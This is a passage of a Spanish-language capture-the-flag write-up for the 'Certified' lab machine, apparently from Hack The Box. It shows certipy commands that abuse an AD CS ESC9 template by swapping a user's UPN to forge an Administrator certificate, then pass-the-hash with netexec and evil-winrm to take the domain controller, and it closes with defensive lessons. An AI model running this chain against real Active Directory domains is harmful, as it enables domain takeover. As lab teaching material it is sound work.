  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 50
  Download size: 122 kB
  Space needed: 755 kB / 40.5 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 certipy-ad all 5.0.3-0kali1 [122 kB]
Fetched 122 kB in 0s (397 kB/s)
Selecting previously unselected package certipy-ad.
Preparing to unpack .../certipy-ad_5.0.3-0kali1_all.deb ...
Unpacking certipy-ad (5.0.3-0kali1) ...
Setting up certipy-ad (5.0.3-0kali1) ...

Con ella se enumeran las plantillas de certificado, autenticando con el hash de ca_operator y pidiendo que marque solo las vulnerables:

certipy-ad find -vulnerable -username ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -stdout

certipy find recorriendo 34 plantillas de certificado, 12 habilitadas y 1 autoridad certificadora, y empezando a volcar la configuración de certified-DC01-CA

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'

Certificate Authorities
  0
    CA Name    : certified-DC01-CA
    DNS Name   : DC01.certified.htb
    Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb

De las 34 plantillas, 12 están habilitadas. Y una de ellas destaca:

La plantilla CertifiedAuthentication en la salida de certipy: Certificate Name Flag SubjectAltRequireUpn y Enrollment Flag con NoSecurityExtension

Certificate Templates
  Template Name          : CertifiedAuthentication
  Display Name           : Certified Authentication
  Certificate Authorities: certified-DC01-CA
  Enabled                : True
  Client Authentication  : True
  Enrollee Supplies Subject : False
  Certificate Name Flag  : SubjectAltRequireUpn
                           SubjectRequireDirectoryPath
  Enrollment Flag        : PublishToDs
                           AutoEnrollment
                           NoSecurityExtension
  Extended Key Usage     : Server Authentication
                           Client Authentication
  Validity Period        : 1000 years

Las dos líneas que importan van juntas: SubjectAltRequireUpn (el certificado lleva como identidad el UPN del solicitante) y NoSecurityExtension (no se incluye la extensión de seguridad que ataría el certificado al SID). Y certipy lo etiqueta:

certipy marcando la plantilla CertifiedAuthentication como ESC9

    Enrollment Rights       : CERTIFIED.HTB\operator ca
                              CERTIFIED.HTB\Domain Admins
                              CERTIFIED.HTB\Enterprise Admins
[!] Vulnerabilities
    ESC9                    : Template has no security extension.

Dos hechos encajan: la plantilla es ESC9 y los Enrollment Rights incluyen CERTIFIED.HTB\operator ca, que es el nombre para mostrar de nuestro ca_operator.

Cómo funciona ESC9

Normalmente el KDC valida un certificado comparando el SID incrustado en la extensión de seguridad (szOID_NTDS_CA_SECURITY_EXT) con el de la cuenta. Sin esa extensión, la única identidad que lleva el certificado es el UPN, y el UPN es un atributo de texto que se puede cambiar si se tiene control sobre la cuenta. Y control sobre ca_operator lo tenemos: management_svc tiene GenericAll sobre ella.

Esa teoría no hay que reconstruirla a mano: el propio README del repositorio de certipy remite a su wiki, que cubre de ESC1 a ESC16.

El README de github.com/ly4k/Certipy: la sección Supported AD CS Vulnerabilities cubre de ESC1 a ESC16 y enlaza a la Certipy Wiki, resaltada en rojo

Supported AD CS Vulnerabilities

Certipy supports detection and exploitation of AD CS vulnerabilities across the full range of ESC1-ESC16.

For detailed explanations and exploitation steps, refer to the Certipy Wiki.

La página de escalada de privilegios describe ESC9 y, de paso, confirma la condición que hace que aquí funcione: que el DC no esté en modo de enlace fuerte de certificados.

La wiki de Certipy: ESC9 - No Security Extension on Certificate Template, con la descripción del flag CT_FLAG_NO_SECURITY_EXTENSION y las condiciones de explotación

ESC9: No Security Extension on Certificate Template

ESC9 vulnerabilities arise when a certificate template is explicitly configured not to include the
szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) security extension in the certificates it issues.
This extension, which contains the requester's SID, was introduced by Microsoft as part of the May 2022
"Certifried" updates (CVE-2022-26923 and KB5014754) to enable "strong certificate mapping".

A template can be configured to omit this extension by setting the CT_FLAG_NO_SECURITY_EXTENSION flag
(value 0x80000) in its msPKI-Enrollment-Flag attribute. If a certificate is issued from such a template:
  - It will lack the primary SID security extension (szOID_NTDS_CA_SECURITY_EXT).
  - This forces the KDC during Kerberos PKINIT authentication, or Schannel during TLS authentication, to
    rely on weaker, legacy mapping methods if the domain is not yet in "Full Enforcement" mode for strong
    certificate binding. These weaker methods might include mapping based on the UPN or DNS name found in
    the certificate's SAN.

The vulnerability of ESC9 becomes exploitable under these conditions:
  - Domain Controller Certificate Binding Mode: The StrongCertificateBindingEnforcement registry key on
    Domain Controllers (under HKLM\SYSTEM\CurrentControlSet\Services\Kdc) is set to 1 (Compatibility
    Mode) or 0 (Disabled).

Y la misma wiki documenta la secuencia paso a paso:

La wiki de Certipy explicando el paso 2 de ESC9: actualizar el UPN de la cuenta víctima al sAMAccountName del administrador objetivo

La wiki de Certipy explicando el paso siguiente: pedir el certificado con certipy req, indicando que el UPN de la petición será administrator y que la plantilla no tiene extensión de seguridad de SID

La wiki de Certipy con los pasos 5 y 6: revertir el UPN de la cuenta víctima y autenticarse con el administrator.pfx para obtener el TGT y el hash NT

Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.
Step 5: Revert the "victim" account's UPN.
Step 6: Authenticate as the target administrator.

Tres movimientos: poner el UPN del Administrator en ca_operator, pedir el certificado (que se emitirá a nombre de Administrator), y devolver el UPN a su valor original antes de usarlo. El tercer paso no es cosmético: dos cuentas con el mismo UPN en el dominio provocan un conflicto que puede hacer fallar la autenticación posterior.

Explotar ESC9

certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41

certipy account update cambiando el userPrincipalName de ca_operator a Administrator y confirmando "Successfully updated 'ca_operator'"

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                 : Administrator
[*] Successfully updated 'ca_operator'
certipy-ad req -username ca_operator@certified.htb -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41

certipy req pidiendo el certificado como ca_operator y obteniendo uno con UPN 'Administrator', guardado en administrator.pfx

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Las dos líneas centrales son el ataque entero: Got certificate with UPN 'Administrator' seguido de Certificate has no object SID. La CA ha emitido, a petición de una cuenta sin privilegios, un certificado que dice ser del administrador y que no lleva el SID que delataría la impostura. Eso es ESC9.

certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41

certipy account update devolviendo el userPrincipalName de ca_operator a ca_operator@certified.htb

[*] Updating user 'ca_operator':
    userPrincipalName                 : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Con el .pfx en la mano y el UPN ya revertido, lo usamos para pedir un TGT por PKINIT y extraer el hash NT:

sudo ntpdate certified.htb
certipy-ad auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.10.11.41

certipy auth devolviendo el hash NT del Administrator

[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Shell como Administrator

Con el hash NT del Administrator, Pass-the-Hash contra WinRM:

netexec smb   10.10.11.41 -u 'Administrator' -H 0d5b49608bbce1751f708748f67e2d34 2>/dev/null
netexec winrm 10.10.11.41 -u 'Administrator' -H 0d5b49608bbce1751f708748f67e2d34 2>/dev/null
evil-winrm -i 10.10.11.41 -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

netexec marcando (Pwn3d!) tanto en SMB como en WinRM para Administrator, y evil-winrm abriendo una sesión donde whoami devuelve certified\administrator

SMB   10.10.11.41  445   DC01  [+] certified.htb\Administrator:0d5b49608bbce1751f708748f67e2d34 (Pwn3d!)
WINRM 10.10.11.41  5985  DC01  [+] certified.htb\Administrator:0d5b49608bbce1751f708748f67e2d34 (Pwn3d!)

Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
certified\administrator

evil-winrm como Administrator y la flag de root

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ac20eda49786b70a64fd5935ce9126cb

Máquina comprometida de principio a fin sin un solo exploit binario: toda la cadena son permisos mal configurados de Active Directory.

Cadena de ataque

judith.mader:judith09 (assume breach)
        │ WriteOwner
        ▼
  grupo Management ──(owneredit + dacledit + addmem)──> judith.mader es miembro
        │ GenericWrite (heredado)
        ▼
  management_svc ──(Shadow Credentials)──> hash NT ──(PtH WinRM)──> shell + user.txt
        │ GenericAll
        ▼
  ca_operator ──(Shadow Credentials)──> hash NT  (sin shell, pero con Enrollment Rights en ADCS)
        │ ESC9 (UPN swap + certipy req)
        ▼
  Administrator ──(certipy auth → hash NT)──(PtH WinRM)──> root.txt

Lecciones aprendidas

  • Las ACL son código que se ejecuta solo. WriteOwner, GenericWrite y GenericAll son permisos legítimos; mal repartidos forman una cadena de privesc que BloodHound lee por LDAP sin lanzar un solo exploit. Revisar las DACL con la misma seriedad que los parches.
  • Shadow Credentials convierte cualquier permiso de escritura en autenticación. Si una cuenta puede escribir msDS-KeyCredentialLink de otra, puede autenticarse como ella por PKINIT sin conocer ni cambiar su contraseña. Defensa: limitar quién puede escribir ese atributo y monitorizarlo.
  • ADCS amplía la superficie de ataque del dominio. Una plantilla sin la extensión de seguridad (ESC9) deja que un UPN controlado por el atacante impersone a un administrador. certipy find -vulnerable debería formar parte de toda auditoría de AD.
  • Una credencial válida no es un acceso. judith.mader y ca_operator autentican en SMB y no dan shell; lo que decide es la pertenencia a Remote Management Users. Distinguir ambas cosas ahorra horas de intentos inútiles.
  • El reloj también es parte del ataque. Siete horas de clock-skew bastan para que todo Kerberos falle sin motivo aparente; nmap lo avisa en el escaneo y un ntpdate lo resuelve.
  • El Kerberoasting no siempre es el camino. Aquí el TGS de management_svc era irrompible; insistir habría sido perder el tiempo. Cuando una contraseña no cae, el siguiente vector suele estar en los permisos, no en más diccionarios.
Cheatsheet de comandos 16 comandos

Repaso rápido